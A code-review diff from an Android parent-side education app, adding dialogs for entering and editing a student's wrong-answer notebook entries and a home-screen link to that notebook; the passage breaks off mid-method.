34 /**
35 * 是否正在上拉数据
36 */
37 private boolean isPulling = true;
38
39 public LoadMoreOnScrollListener(LinearLayoutManager linearLayoutManager) {
40 this.mLinearLayoutManager = linearLayoutManager;
41 }
42
43 @Override
44 public void onScrolled(@NonNull RecyclerView recyclerView, int dx, int dy) {
45 super.onScrolled(recyclerView, dx, dy);
46 // 可见item个数
47 visibleItemCount = recyclerView.getChildCount();
48 // item总数
49 totalItemCount = mLinearLayoutManager.getItemCount();
50 // 第一个可见item
51 firstVisiableItem = mLinearLayoutManager.findFirstVisibleItemPosition();
52
53 if (isPulling) {
54 if (totalItemCount > previousTotal) {
55 // 数据成功获取才会执行 说明数据已经加载结束
56 isPulling = false;
57 previousTotal = totalItemCount;
58 }
59 }
60
61 //如果获取数据失败,则不会这行此处,因为loading始终为true
62 //当最后一个item可见时,执行加载
63 if (!isPulling && totalItemCount - visibleItemCount <= firstVisiableItem) {
64 currentPage ++;
65 onLoadMore(currentPage);
66 isPulling = true;
67 }
68 }
69
70 public abstract void onLoadMore(int currentPage);
71 }
72
app/src/main/java/com/hjx/parent/dialog/ErrorEditDialog.java
File was created 1 package com.hjx.parent.dialog;
2
3 import android.app.Dialog;
4 import android.content.Context;
5 import android.content.Intent;
6 import android.graphics.Color;
7 import android.os.Bundle;
8 import android.view.Gravity;
9 import android.view.View;
10 import android.view.Window;
11 import android.view.WindowManager;
12 import android.widget.AdapterView;
13 import android.widget.ArrayAdapter;
14 import android.widget.CompoundButton;
15 import android.widget.RadioButton;
16 import android.widget.RadioGroup;
17
18 import androidx.annotation.NonNull;
19 import androidx.recyclerview.widget.LinearLayoutManager;
20 import androidx.recyclerview.widget.RecyclerView;
21
22 import com.bumptech.glide.Glide;
23 import com.chad.library.adapter.base.BaseQuickAdapter;
24 import com.chad.library.adapter.base.BaseViewHolder;
25 import com.google.gson.Gson;
26 import com.hjx.parent.AddSuccessActivity;
27 import com.hjx.parent.App;
28 import com.hjx.parent.ImageActivity;
29 import com.hjx.parent.R;
30 import com.hjx.parent.bean.StudentBean;
31 import com.hjx.parent.databinding.DialogAddErrorBinding;
32 import com.hjx.parent.databinding.DialogEditErrorBinding;
33 import com.prws.common.bean.Grade;
34 import com.prws.common.bean.GradeAndSubject;
35 import com.prws.common.bean.ResponseResult;
36 import com.prws.common.bean.Subject;
37 import com.prws.common.bean.TopicBean;
38 import com.prws.common.net.NetWorks;
39 import com.prws.common.utils.CommonUtil;
40 import com.prws.common.utils.SharedPreferencesUtil;
41 import com.prws.common.utils.StringUtils;
42
43 import java.util.ArrayList;
44 import java.util.HashMap;
45 import java.util.List;
46 import java.util.Map;
47
48 import io.reactivex.Observer;
49 import io.reactivex.disposables.Disposable;
50
51 public class ErrorEditDialog extends Dialog {
52 private Context context;
53 private DialogEditErrorBinding binding;
54 private List<TopicBean> list;
55 private Grade grade;
56 private Subject subject;
57 private int reason;
58 private int type = 0;
59 private EditInterface editInterface;
60
61 public interface EditInterface {
62 void edit(String name, int reason);
63 }
64
65 public ErrorEditDialog(@NonNull Context context, List<TopicBean> list, EditInterface editInterface) {
66 super(context, R.style.MyAlertDialog);
67 this.context = context;
68 this.list = list;
69 this.editInterface = editInterface;
70 }
71
72 @Override
73 protected void onCreate(Bundle savedInstanceState) {
74 super.onCreate(savedInstanceState);
75 binding = DialogEditErrorBinding.inflate(getLayoutInflater());
76 setContentView(binding.getRoot());
77 Window dialogWindow = getWindow();
78 WindowManager.LayoutParams lp = dialogWindow.getAttributes();
79 lp.width = CommonUtil.getScreenWidth(getContext());
80 dialogWindow.setGravity(Gravity.BOTTOM);
81 dialogWindow.setAttributes(lp);
82 List<String> grades = new ArrayList<>();
83 for (GradeAndSubject grade : App.getInstance().getGradeAndSubjects()) {
84 grades.add(grade.getGrade().getGrade());
85 }
86 ArrayAdapter<String> gradeAdapter = new ArrayAdapter<>(context, R.layout.item_for_custom_spinner, grades);
87 binding.spinnerGrade.setAdapter(gradeAdapter);
88 binding.spinnerGrade.setOnItemSelectedListener(new AdapterView.OnItemSelectedListener() {
89 @Override
90 public void onItemSelected(AdapterView<?> parent, View view, int position, long id) {
91 grade = App.getInstance().getGradeAndSubjects().get(position).getGrade();
92 refreshSubject(App.getInstance().getGradeAndSubjects().get(position).getSubjects());
93 }
94
95 @Override
96 public void onNothingSelected(AdapterView<?> parent) {
97
98 }
99 });
100 ArrayAdapter<String> reasonAdapter = new ArrayAdapter<>(context, R.layout.item_for_custom_spinner, context.getResources().getStringArray(R.array.error_reason));
101 binding.spinnerReason.setAdapter(reasonAdapter);
102 binding.spinnerReason.setOnItemSelectedListener(new AdapterView.OnItemSelectedListener() {
103 @Override
104 public void onItemSelected(AdapterView<?> parent, View view, int position, long id) {
105 reason = position;
106 }
107
108 @Override
109 public void onNothingSelected(AdapterView<?> parent) {
110
111 }
112 });
113 RadioButton typeButton = (RadioButton) binding.typeRadio.getChildAt(type);
114 typeButton.setChecked(true);
115 binding.typeRadio.setOnCheckedChangeListener(new RadioGroup.OnCheckedChangeListener() {
116 @Override
117 public void onCheckedChanged(RadioGroup group, int checkedId) {
118 RadioButton rcheck = (RadioButton) findViewById(checkedId);
119 type = getContext().getString(R.string.topic_type_in).equals(rcheck.getText().toString()) ? 0 : 1;
120 }
121 });
122 binding.ivBack.setOnClickListener(new View.OnClickListener() {
123 @Override
124 public void onClick(View v) {
125 dismiss();
126 }
127 });
128 binding.addTopic.setOnClickListener(new View.OnClickListener() {
129 @Override
130 public void onClick(View v) {
131 editError();
132 }
133 });
134 }
135
136 private void editError() {
137 List<HashMap<String, Object>> hashMapArrayList = new ArrayList<>();
138 for (TopicBean topicBean : list) {
139 HashMap<String, Object> map = new HashMap<>();
140 map.put("bookId", topicBean.getId());
141 map.put("grade", grade.getGrade());
142 map.put("subject", subject.getSubject());
143 map.put("errorReason", String.valueOf(reason));
144 map.put("title", grade.getGrade() + "-" + subject.getSubject() + "-" + (type == 0 ? "课内" : "课外") + "错题");
145 map.put("type", type);
146 hashMapArrayList.add(map);
147 }
148 NetWorks.editError(hashMapArrayList, new Observer<ResponseResult>() {
149 @Override
150 public void onSubscribe(Disposable d) {
151
152 }
153
154 @Override
155 public void onNext(ResponseResult responseResult) {
156 if (responseResult.getCode() == 200) {
157 editInterface.edit(grade.getGrade() + "-" + subject.getSubject() + "-" + (type == 0 ? "课内" : "课外") + "错题", reason);
158 dismiss();
159 }
160 }
161
162 @Override
163 public void onError(Throwable e) {
164
165 }
166
167 @Override
168 public void onComplete() {
169
170 }
171 });
172 }
173
174 private void refreshSubject(List<Subject> subjects) {
175 List<String> s = new ArrayList<>();
176 for (Subject subject : subjects) {
177 s.add(subject.getSubject());
178 }
179 ArrayAdapter<String> subjectAdapter = new ArrayAdapter<>(context, R.layout.item_for_custom_spinner, s);
180 binding.spinnerSubject.setAdapter(subjectAdapter);
181 binding.spinnerSubject.setOnItemSelectedListener(new AdapterView.OnItemSelectedListener() {
182 @Override
183 public void onItemSelected(AdapterView<?> parent, View view, int position, long id) {
184 subject = subjects.get(position);
185 }
186
187 @Override
188 public void onNothingSelected(AdapterView<?> parent) {
189
190 }
191 });
192 }
193
194 }
195
app/src/main/java/com/hjx/parent/dialog/ErrorInputDialog.java
File was created 1 package com.hjx.parent.dialog;
2
3 import android.app.Dialog;
4 import android.content.Context;
5 import android.content.Intent;
6 import android.graphics.Color;
7 import android.graphics.drawable.Drawable;
8 import android.os.Bundle;
9 import android.view.Gravity;
10 import android.view.View;
11 import android.view.Window;
12 import android.view.WindowManager;
13 import android.widget.AdapterView;
14 import android.widget.ArrayAdapter;
15 import android.widget.CompoundButton;
16 import android.widget.RadioButton;
17 import android.widget.RadioGroup;
18
19 import androidx.annotation.NonNull;
20 import androidx.recyclerview.widget.LinearLayoutManager;
21 import androidx.recyclerview.widget.RecyclerView;
22
23 import com.bumptech.glide.Glide;
24 import com.chad.library.adapter.base.BaseQuickAdapter;
25 import com.chad.library.adapter.base.BaseViewHolder;
26 import com.google.gson.Gson;
27 import com.hjx.parent.AddSuccessActivity;
28 import com.hjx.parent.App;
29 import com.hjx.parent.ImageActivity;
30 import com.hjx.parent.R;
31 import com.hjx.parent.bean.StudentBean;
32 import com.hjx.parent.databinding.DialogAddErrorBinding;
33 import com.prws.common.bean.Grade;
34 import com.prws.common.bean.GradeAndSubject;
35 import com.prws.common.bean.ResponseResult;
36 import com.prws.common.bean.Subject;
37 import com.prws.common.bean.TopicBean;
38 import com.prws.common.net.NetWorks;
39 import com.prws.common.utils.CommonUtil;
40 import com.prws.common.utils.SharedPreferencesUtil;
41 import com.prws.common.utils.StringUtils;
42
43 import java.util.ArrayList;
44 import java.util.HashMap;
45 import java.util.List;
46 import java.util.Map;
47
48 import io.reactivex.Observer;
49 import io.reactivex.disposables.Disposable;
50
51 public class ErrorInputDialog extends Dialog {
52 private ImageActivity context;
53 private DialogAddErrorBinding binding;
54 private List<TopicBean> list;
55 private int select = 0;
56 private Grade grade;
57 private Subject subject;
58 private int reason;
59 private int type = 0;
60 BaseQuickAdapter adapter;
61
62 public ErrorInputDialog(@NonNull ImageActivity context, List<TopicBean> list) {
63 super(context, R.style.MyAlertDialog);
64 this.context = context;
65 this.list = list;
66 }
67
68 @Override
69 protected void onCreate(Bundle savedInstanceState) {
70 super.onCreate(savedInstanceState);
71 binding = DialogAddErrorBinding.inflate(getLayoutInflater());
72 setContentView(binding.getRoot());
73 Window dialogWindow = getWindow();
74 WindowManager.LayoutParams lp = dialogWindow.getAttributes();
75 lp.width = CommonUtil.getScreenWidth(getContext());
76 dialogWindow.setGravity(Gravity.BOTTOM);
77 dialogWindow.setAttributes(lp);
78 adapter = new BaseQuickAdapter(R.layout.item_topic, list) {
79 @Override
80 protected void convert(@NonNull BaseViewHolder item, Object o) {
81 int position = item.getAdapterPosition();
82 item.setText(R.id.tv_name, context.getString(R.string.num_topic, StringUtils.intToChinese(position + 1)));
83 if (list.get(position).isFinish()) {
84 item.setGone(R.id.iv_click, true);
85 item.setBackgroundRes(R.id.tv_name, R.drawable.topic_finish_bg);
86 item.setTextColor(R.id.tv_name, Color.parseColor("#1C90F3"));
87 } else if (select == position) {
88 item.setGone(R.id.iv_click, false);
89 item.setBackgroundRes(R.id.tv_name, R.drawable.button_select_topic_bg);
90 item.setTextColor(R.id.tv_name, Color.parseColor("#1C90F3"));
91 } else {
92 item.setGone(R.id.iv_click, false);
93 item.setBackgroundRes(R.id.tv_name, R.drawable.button_topic_bg);
94 item.setTextColor(R.id.tv_name, Color.parseColor("#999999"));
95 }
96 item.getConvertView().setOnClickListener(new View.OnClickListener() {
97 @Override
98 public void onClick(View v) {
99 select = position;
100 loadError();
101 notifyDataSetChanged();
102 }
103 });
104 }
105
106 @Override
107 public void onBindViewHolder(@NonNull RecyclerView.ViewHolder holder, int position) {
108
109 }
110 };
111 binding.listItem.setLayoutManager(new LinearLayoutManager(context, LinearLayoutManager.HORIZONTAL, false));
112 binding.listItem.setAdapter(adapter);
113 List<String> grades = new ArrayList<>();
114 for (GradeAndSubject grade : App.getInstance().getGradeAndSubjects()) {
115 grades.add(grade.getGrade().getGrade());
116 }
117 ArrayAdapter<String> gradeAdapter = new ArrayAdapter<>(context, R.layout.item_for_custom_spinner, grades);
118 binding.spinnerGrade.setAdapter(gradeAdapter);
119 binding.spinnerGrade.setOnItemSelectedListener(new AdapterView.OnItemSelectedListener() {
120 @Override
121 public void onItemSelected(AdapterView<?> parent, View view, int position, long id) {
122 grade = App.getInstance().getGradeAndSubjects().get(position).getGrade();
123 refreshSubject(App.getInstance().getGradeAndSubjects().get(position).getSubjects());
124 }
125
126 @Override
127 public void onNothingSelected(AdapterView<?> parent) {
128
129 }
130 });
131 ArrayAdapter<String> reasonAdapter = new ArrayAdapter<>(context, R.layout.item_for_custom_spinner, context.getResources().getStringArray(R.array.error_reason));
132 binding.spinnerReason.setAdapter(reasonAdapter);
133 binding.spinnerReason.setOnItemSelectedListener(new AdapterView.OnItemSelectedListener() {
134 @Override
135 public void onItemSelected(AdapterView<?> parent, View view, int position, long id) {
136 reason = position;
137 }
138
139 @Override
140 public void onNothingSelected(AdapterView<?> parent) {
141
142 }
143 });
144 RadioButton typeButton = (RadioButton) binding.typeRadio.getChildAt(type);
145 typeButton.setChecked(true);
146 binding.typeRadio.setOnCheckedChangeListener(new RadioGroup.OnCheckedChangeListener() {
147 @Override
148 public void onCheckedChanged(RadioGroup group, int checkedId) {
149 RadioButton rcheck = (RadioButton) findViewById(checkedId);
150 type = getContext().getString(R.string.topic_type_in).equals(rcheck.getText().toString()) ? 0 : 1;
151 list.get(select).setType(type);
152 }
153 });
154 binding.ivBack.setOnClickListener(new View.OnClickListener() {
155 @Override
156 public void onClick(View v) {
157 dismiss();
158 }
159 });
160 binding.checkbox.setOnCheckedChangeListener(new CompoundButton.OnCheckedChangeListener() {
161 @Override
162 public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) {
163 if (isChecked) {
164 binding.addTopic.setText("全部加入错题本");
165 } else {
166 binding.addTopic.setText("第" + StringUtils.intToChinese(select + 1) + "题加入错题本");
167 }
168 }
169 });
170 binding.addTopic.setOnClickListener(new View.OnClickListener() {
171 @Override
172 public void onClick(View v) {
173 if (binding.checkbox.isChecked()) {
174 for (TopicBean topicBean : list) {
175 addTopic(topicBean);
176 }
177 } else {
178 addTopic(list.get(select));
179 }
180 }
181 });
182 loadError();
183 }
184
185 private void refreshSubject(List<Subject> subjects) {
186 List<String> s = new ArrayList<>();
187 for (Subject subject : subjects) {
188 s.add(subject.getSubject());
189 }
190 ArrayAdapter<String> subjectAdapter = new ArrayAdapter<>(context, R.layout.item_for_custom_spinner, s);
191 binding.spinnerSubject.setAdapter(subjectAdapter);
192 binding.spinnerSubject.setOnItemSelectedListener(new AdapterView.OnItemSelectedListener() {
193 @Override
194 public void onItemSelected(AdapterView<?> parent, View view, int position, long id) {
195 subject = subjects.get(position);
196 }
197
198 @Override
199 public void onNothingSelected(AdapterView<?> parent) {
200
201 }
202 });
203 }
204
205 private void loadError() {
206 TopicBean bean = list.get(select);
207 Glide.with(getContext()).load(bean.getPath()).override(CommonUtil.getScreenWidth(context) - CommonUtil.dpToPx(getContext(), 40), CommonUtil.dpToPx(getContext(), 90)).fitCenter().into(binding.ivTopic);
208 if (!binding.checkbox.isChecked()) {
209 binding.addTopic.setText("第" + StringUtils.intToChinese(select + 1) + "题加入错题本");
210 }
211 }
212
213 private void addTopic(TopicBean bean) {
214 if (!bean.isFinish()) {
215 bean.setId(String.valueOf(System.currentTimeMillis()));
216 bean.setDate(String.valueOf(System.currentTimeMillis()));
217 bean.setGrade(grade.getGrade());
218 bean.setType(type);
219 bean.setSubject(subject.getSubject());
220 String student = (String) SharedPreferencesUtil.getData("student", "");
221 StudentBean studentBean = new Gson().fromJson(student, StudentBean.class);
222 Map<String, String> param = new HashMap<>();
223 param.put("bookId", bean.getId());
224 param.put("stuId", studentBean.getStuId());
225 param.put("errorReason", String.valueOf(reason));
226 param.put("title", grade.getGrade() + "-" + subject.getSubject() + "-" + (type == 0 ? "课内" : "课外") + "错题");
227 param.put("subject", bean.getSubject());
228 param.put("grade", bean.getGrade());
229 param.put("type", String.valueOf(bean.getType()));
230 param.put("teacherFlag", "0");
231 param.put("controlFlag", "1");
232 NetWorks.addError(bean.getPath(), param, new Observer<ResponseResult>() {
233 @Override
234 public void onSubscribe(Disposable d) {
235
236 }
237
238 @Override
239 public void onNext(ResponseResult responseResult) {
240 if (responseResult.getCode() == 200) {
241 bean.setFinish(true);
242 boolean isAllAdd = true;
243 for (int i = 0; i < list.size(); i++) {
244 if (!list.get(i).isFinish()) {
245 select = i;
246 adapter.notifyDataSetChanged();
247 isAllAdd = false;
248 loadError();
249 break;
250 }
251 }
252 if (isAllAdd) {
253 dismiss();
254 Intent intent = new Intent(context, AddSuccessActivity.class);
255 context.startActivity(intent);
256 context.finish();
257 }
258 }
259 }
260
261 @Override
262 public void onError(Throwable e) {
263
264 }
265
266 @Override
267 public void onComplete() {
268
269 }
270 });
271 }
272 }
273 }
274
app/src/main/java/com/hjx/parent/dialog/TipDialog.java
File was created 1 package com.hjx.parent.dialog;
2
3 import android.app.Dialog;
4 import android.content.Context;
5 import android.os.Bundle;
6 import android.view.View;
7 import android.view.Window;
8 import android.view.WindowManager;
9
10 import androidx.annotation.NonNull;
11
12 import com.hjx.parent.R;
13 import com.hjx.parent.databinding.DialogTipBinding;
14 import com.prws.common.utils.CommonUtil;
15
16
17 public class TipDialog extends Dialog {
18 private Context context;
19 private DialogTipBinding binding;
20 private TipDialogInterface dialogInterface;
21 private String title;
22 private String content;
23 private String confirm;
24 private String cancel;
25
26 public TipDialog(@NonNull Context context, String title, String content, String confirm, String cancel, TipDialogInterface dialogInterface) {
27 super(context, R.style.MyAlertDialog);
28 this.context = context;
29 this.dialogInterface = dialogInterface;
30 this.title = title;
31 this.content = content;
32 this.confirm = confirm;
33 this.cancel = cancel;
34 }
35
36 @Override
37 protected void onCreate(Bundle savedInstanceState) {
38 super.onCreate(savedInstanceState);
39 binding = DialogTipBinding.inflate(getLayoutInflater());
40 setContentView(binding.getRoot());
41 this.setCancelable(true);
42 Window dialogWindow = getWindow();
43 WindowManager.LayoutParams lp = dialogWindow.getAttributes();
44 lp.width = CommonUtil.getScreenWidth(getContext());
45 lp.height = CommonUtil.getRawScreenSize(getContext())[1];
46 dialogWindow.setAttributes(lp);
47 binding.tvCancel.setText(cancel);
48 binding.tvCancel.setOnClickListener(new View.OnClickListener() {
49 @Override
50 public void onClick(View view) {
51 dialogInterface.onCancel(TipDialog.this);
52 }
53 });
54 binding.tvConfirm.setText(confirm);
55 binding.tvConfirm.setOnClickListener(new View.OnClickListener() {
56 @Override
57 public void onClick(View view) {
58 dialogInterface.onConfirm(TipDialog.this);
59 }
60 });
61 binding.tvTitle.setText(title);
62 binding.tvContent.setText(content);
63 }
64
65 public interface TipDialogInterface {
66 void onConfirm(Dialog dialog);
67
68 void onCancel(Dialog dialog);
69 }
70 }
71
app/src/main/java/com/hjx/parent/fragment/HomeFragment.java
1 package com.hjx.parent.fragment; 1 package com.hjx.parent.fragment;
2 2
3 import android.content.Intent; 3 import android.content.Intent;
4 import android.os.Bundle; 4 import android.os.Bundle;
5 import android.text.TextUtils; 5 import android.text.TextUtils;
6 import android.view.LayoutInflater; 6 import android.view.LayoutInflater;
7 import android.view.View; 7 import android.view.View;
8 import android.widget.ImageView; 8 import android.widget.ImageView;
9 import android.widget.LinearLayout; 9 import android.widget.LinearLayout;
10 import android.widget.TextView; 10 import android.widget.TextView;
11 import android.widget.Toast; 11 import android.widget.Toast;
12 12
13 import androidx.annotation.NonNull; 13 import androidx.annotation.NonNull;
14 import androidx.annotation.Nullable; 14 import androidx.annotation.Nullable;
15 import androidx.recyclerview.widget.LinearLayoutManager; 15 import androidx.recyclerview.widget.LinearLayoutManager;
16 import androidx.recyclerview.widget.RecyclerView; 16 import androidx.recyclerview.widget.RecyclerView;
17 17
18 import com.bumptech.glide.Glide; 18 import com.bumptech.glide.Glide;
19 import com.bumptech.glide.load.resource.bitmap.RoundedCorners; 19 import com.bumptech.glide.load.resource.bitmap.RoundedCorners;
20 import com.bumptech.glide.request.RequestOptions; 20 import com.bumptech.glide.request.RequestOptions;
21 import com.chad.library.adapter.base.BaseQuickAdapter; 21 import com.chad.library.adapter.base.BaseQuickAdapter;
22 import com.chad.library.adapter.base.BaseViewHolder; 22 import com.chad.library.adapter.base.BaseViewHolder;
23 import com.google.gson.Gson; 23 import com.google.gson.Gson;
24 import com.hjq.permissions.OnPermissionCallback; 24 import com.hjq.permissions.OnPermissionCallback;
25 import com.hjq.permissions.Permission; 25 import com.hjq.permissions.Permission;
26 import com.hjq.permissions.XXPermissions; 26 import com.hjq.permissions.XXPermissions;
27 import com.hjx.parent.ChooseActivity; 27 import com.hjx.parent.ChooseActivity;
28 import com.hjx.parent.ErrorBookActivity;
28 import com.hjx.parent.QRActivity; 29 import com.hjx.parent.QRActivity;
29 import com.hjx.parent.R; 30 import com.hjx.parent.R;
30 import com.hjx.parent.bean.StudentBean; 31 import com.hjx.parent.bean.StudentBean;
31 import com.prws.common.base.BaseFragment; 32 import com.prws.common.base.BaseFragment;
32 import com.prws.common.bean.ResponseResult; 33 import com.prws.common.bean.ResponseResult;
33 import com.prws.common.bean.ScheduleBean; 34 import com.prws.common.bean.ScheduleBean;
34 import com.prws.common.bean.Video; 35 import com.prws.common.bean.Video;
35 import com.prws.common.net.NetWorks; 36 import com.prws.common.net.NetWorks;
36 import com.prws.common.utils.ScreenUtils; 37 import com.prws.common.utils.ScreenUtils;
37 import com.prws.common.utils.SharedPreferencesUtil; 38 import com.prws.common.utils.SharedPreferencesUtil;
38 import com.uuzuche.lib_zxing.activity.CaptureActivity; 39 import com.uuzuche.lib_zxing.activity.CaptureActivity;
39 import com.uuzuche.lib_zxing.activity.CodeUtils; 40 import com.uuzuche.lib_zxing.activity.CodeUtils;
40 41
41 import java.text.SimpleDateFormat; 42 import java.text.SimpleDateFormat;
42 import java.util.ArrayList; 43 import java.util.ArrayList;
43 import java.util.List; 44 import java.util.List;
44 45
45 import butterknife.BindView; 46 import butterknife.BindView;
46 import butterknife.OnClick; 47 import butterknife.OnClick;
47 import io.reactivex.Observer; 48 import io.reactivex.Observer;
48 import io.reactivex.disposables.Disposable; 49 import io.reactivex.disposables.Disposable;
49 50
50 public class HomeFragment extends BaseFragment { 51 public class HomeFragment extends BaseFragment {
51 @Override 52 @Override
52 protected int getLayoutRes() { 53 protected int getLayoutRes() {
53 return R.layout.fragment_home; 54 return R.layout.fragment_home;
54 } 55 }
55 56
56 ImageView iv_sapmiao; 57 ImageView iv_sapmiao;
57 TextView tv_name; 58 TextView tv_name;
58 StudentBean studentBean; 59 StudentBean studentBean;
59 ImageView iv_2; 60 ImageView iv_2;
60 @BindView(R.id.recycle) 61 @BindView(R.id.recycle)
61 RecyclerView recyclerView; 62 RecyclerView recyclerView;
62 @BindView(R.id.tv_empty) 63 @BindView(R.id.tv_empty)
63 TextView tv_empty; 64 TextView tv_empty;
64 @BindView(R.id.iv_empty) 65 @BindView(R.id.iv_empty)
65 ImageView iv_empty; 66 ImageView iv_empty;
66 67
67 @Override 68 @Override
68 protected void initDatas() { 69 protected void initDatas() {
69 super.initDatas(); 70 super.initDatas();
70 iv_2 = mRootView.findViewById(R.id.iv_2); 71 iv_2 = mRootView.findViewById(R.id.iv_2);
71 iv_sapmiao = mRootView.findViewById(R.id.iv_sapmiao); 72 iv_sapmiao = mRootView.findViewById(R.id.iv_sapmiao);
72 tv_name = mRootView.findViewById(R.id.tv_name); 73 tv_name = mRootView.findViewById(R.id.tv_name);
73 iv_sapmiao.setOnClickListener(view -> { 74 iv_sapmiao.setOnClickListener(view -> {
74 if (!XXPermissions.isGranted(getActivity(), Permission.CAMERA)) { 75 if (!XXPermissions.isGranted(getActivity(), Permission.CAMERA)) {
75 XXPermissions.with(getActivity()) 76 XXPermissions.with(getActivity())
76 // 申请多个权限 77 // 申请多个权限
77 .permission(Permission.CAMERA) 78 .permission(Permission.CAMERA)
78 .request(new OnPermissionCallback() { 79 .request(new OnPermissionCallback() {
79 @Override 80 @Override
80 public void onGranted(List<String> permissions, boolean all) { 81 public void onGranted(List<String> permissions, boolean all) {
81 if (all) { 82 if (all) {
82 //开启扫码界面 83 //开启扫码界面
83 startQRView(); 84 startQRView();
84 85
85 86
86 } else { 87 } else {
87 Toast.makeText(getActivity(), "需要相机权限", Toast.LENGTH_SHORT).show(); 88 Toast.makeText(getActivity(), "需要相机权限", Toast.LENGTH_SHORT).show();
88 } 89 }
89 } 90 }
90 91
91 @Override 92 @Override
92 public void onDenied(List<String> permissions, boolean never) { 93 public void onDenied(List<String> permissions, boolean never) {
93 XXPermissions.startPermissionActivity(getActivity(), permissions); 94 XXPermissions.startPermissionActivity(getActivity(), permissions);
94 } 95 }
95 }); 96 });
96 } else { 97 } else {
97 startQRView(); 98 startQRView();
98 } 99 }
99 100
100 }); 101 });
101 } 102 }
102 103
104 @OnClick(R.id.ll_error)
105 public void goError(View view) {
106 Intent intent = new Intent(getActivity(), ErrorBookActivity.class);
107 startActivity(intent);
108 }
103 109
104 @Override 110 @Override
105 public void onResume() { 111 public void onResume() {
106 super.onResume(); 112 super.onResume();
107 String student = (String) SharedPreferencesUtil.getData("student", ""); 113 String student = (String) SharedPreferencesUtil.getData("student", "");
108 try { 114 try {
109 studentBean = new Gson().fromJson(student, StudentBean.class); 115 studentBean = new Gson().fromJson(student, StudentBean.class);
110 tv_name.setText(studentBean.getNickName()); 116 tv_name.setText(studentBean.getNickName());
111 if (TextUtils.isEmpty(studentBean.getPhoto())) { 117 if (TextUtils.isEmpty(studentBean.getPhoto())) {
112 iv_2.setImageResource(studentBean.getGender() == 0 ? R.mipmap.ic_avatar_male : R.mipmap.ic_avatar_female); 118 iv_2.setImageResource(studentBean.getGender() == 0 ? R.mipmap.ic_avatar_male : R.mipmap.ic_avatar_female);
113 } else { 119 } else {
114 RoundedCorners roundedCorners = new RoundedCorners(ScreenUtils.dpToPx(getContext(), 20)); 120 RoundedCorners roundedCorners = new RoundedCorners(ScreenUtils.dpToPx(getContext(), 20));
115 RequestOptions options = RequestOptions.bitmapTransform(roundedCorners); 121 RequestOptions options = RequestOptions.bitmapTransform(roundedCorners);
116 Glide.with(getActivity()).load(studentBean.getPhoto()).apply(options).into(iv_2); 122 Glide.with(getActivity()).load(studentBean.getPhoto()).apply(options).into(iv_2);
117 } 123 }
118 getWeekPlan(studentBean.getStuId()); 124 getWeekPlan(studentBean.getStuId());
119 } catch (Exception e) { 125 } catch (Exception e) {
120 126
121 } 127 }
122 } 128 }
123 129
124 public void getWeekPlan(String id) { 130 public void getWeekPlan(String id) {
125 NetWorks.getWeekPlan(id, new Observer<ResponseResult<ScheduleBean>>() { 131 NetWorks.getWeekPlan(id, new Observer<ResponseResult<ScheduleBean>>() {
126 @Override 132 @Override
127 public void onSubscribe(Disposable d) { 133 public void onSubscribe(Disposable d) {
128 134
129 } 135 }
130 136
131 @Override 137 @Override
132 public void onNext(ResponseResult<ScheduleBean> result) { 138 public void onNext(ResponseResult<ScheduleBean> result) {
133 if (result != null && result.getCode() == 200) { 139 if (result != null && result.getCode() == 200) {
134 showWeekPlan(result.getData().getList()); 140 showWeekPlan(result.getData().getList());
135 } 141 }
136 } 142 }
137 143
138 @Override 144 @Override
139 public void onError(Throwable e) { 145 public void onError(Throwable e) {
140 146
141 } 147 }
142 148
143 @Override 149 @Override
144 public void onComplete() { 150 public void onComplete() {
145 151
146 } 152 }
147 }); 153 });
148 } 154 }
149 155
150 public void startQRView() { 156 public void startQRView() {
151 startActivityForResult(new Intent(getActivity(), QRActivity.class), 101); 157 startActivityForResult(new Intent(getActivity(), QRActivity.class), 101);
152 } 158 }
153 159
154 @Override 160 @Override
155 public void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) { 161 public void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) {
156 super.onActivityResult(requestCode, resultCode, data); 162 super.onActivityResult(requestCode, resultCode, data);
157 if (requestCode == 101) { 163 if (requestCode == 101) {
158 if (null != data) { 164 if (null != data) {
159 Bundle bundle = data.getExtras(); 165 Bundle bundle = data.getExtras();
160 if (bundle == null) { 166 if (bundle == null) {
161 return; 167 return;
162 } 168 }
163 if (bundle.getInt(CodeUtils.RESULT_TYPE) == CodeUtils.RESULT_SUCCESS) { 169 if (bundle.getInt(CodeUtils.RESULT_TYPE) == CodeUtils.RESULT_SUCCESS) {
164 String result = bundle.getString(CodeUtils.RESULT_STRING); 170 String result = bundle.getString(CodeUtils.RESULT_STRING);
165 Toast.makeText(getActivity(), "解析结果:" + result, Toast.LENGTH_LONG).show(); 171 Toast.makeText(getActivity(), "解析结果:" + result, Toast.LENGTH_LONG).show();
166 } else if (bundle.getInt(CodeUtils.RESULT_TYPE) == CodeUtils.RESULT_FAILED) { 172 } else if (bundle.getInt(CodeUtils.RESULT_TYPE) == CodeUtils.RESULT_FAILED) {
167 Toast.makeText(getActivity(), "解析二维码失败", Toast.LENGTH_LONG).show(); 173 Toast.makeText(getActivity(), "解析二维码失败", Toast.LENGTH_LONG).show();
168 } 174 }
169 } 175 }
170 } 176 }
171 } 177 }
172 178
173 @OnClick({R.id.iv_2, R.id.tv_name}) 179 @OnClick({R.id.iv_2, R.id.tv_name})
174 public void choose(View view) { 180 public void choose(View view) {
175 Intent intent = new Intent(getActivity(), ChooseActivity.class); 181 Intent intent = new Intent(getActivity(), ChooseActivity.class);
176 startActivity(intent); 182 startActivity(intent);
177 } 183 }
178 184
179 @OnClick(R.id.iv_1) 185 @OnClick(R.id.iv_1)
180 public void exit(View view) { 186 public void exit(View view) {
181 getActivity().finish(); 187 getActivity().finish();
182 } 188 }
183 189
184 private void showWeekPlan(List<Video> list) { 190 private void showWeekPlan(List<Video> list) {
185 iv_empty.setVisibility(list.size() > 0 ? View.GONE : View.VISIBLE); 191 iv_empty.setVisibility(list.size() > 0 ? View.GONE : View.VISIBLE);
186 tv_empty.setVisibility(list.size() > 0 ? View.GONE : View.VISIBLE); 192 tv_empty.setVisibility(list.size() > 0 ? View.GONE : View.VISIBLE);
187 List<Schedule> schedules = new ArrayList<>(); 193 List<Schedule> schedules = new ArrayList<>();
188 for (int i = 0; i < list.size(); i++) { 194 for (int i = 0; i < list.size(); i++) {
189 String date = new SimpleDateFormat("yyyy.MM.dd").format(list.get(i).getStudyTime()); 195 String date = new SimpleDateFormat("yyyy.MM.dd").format(list.get(i).getStudyTime());
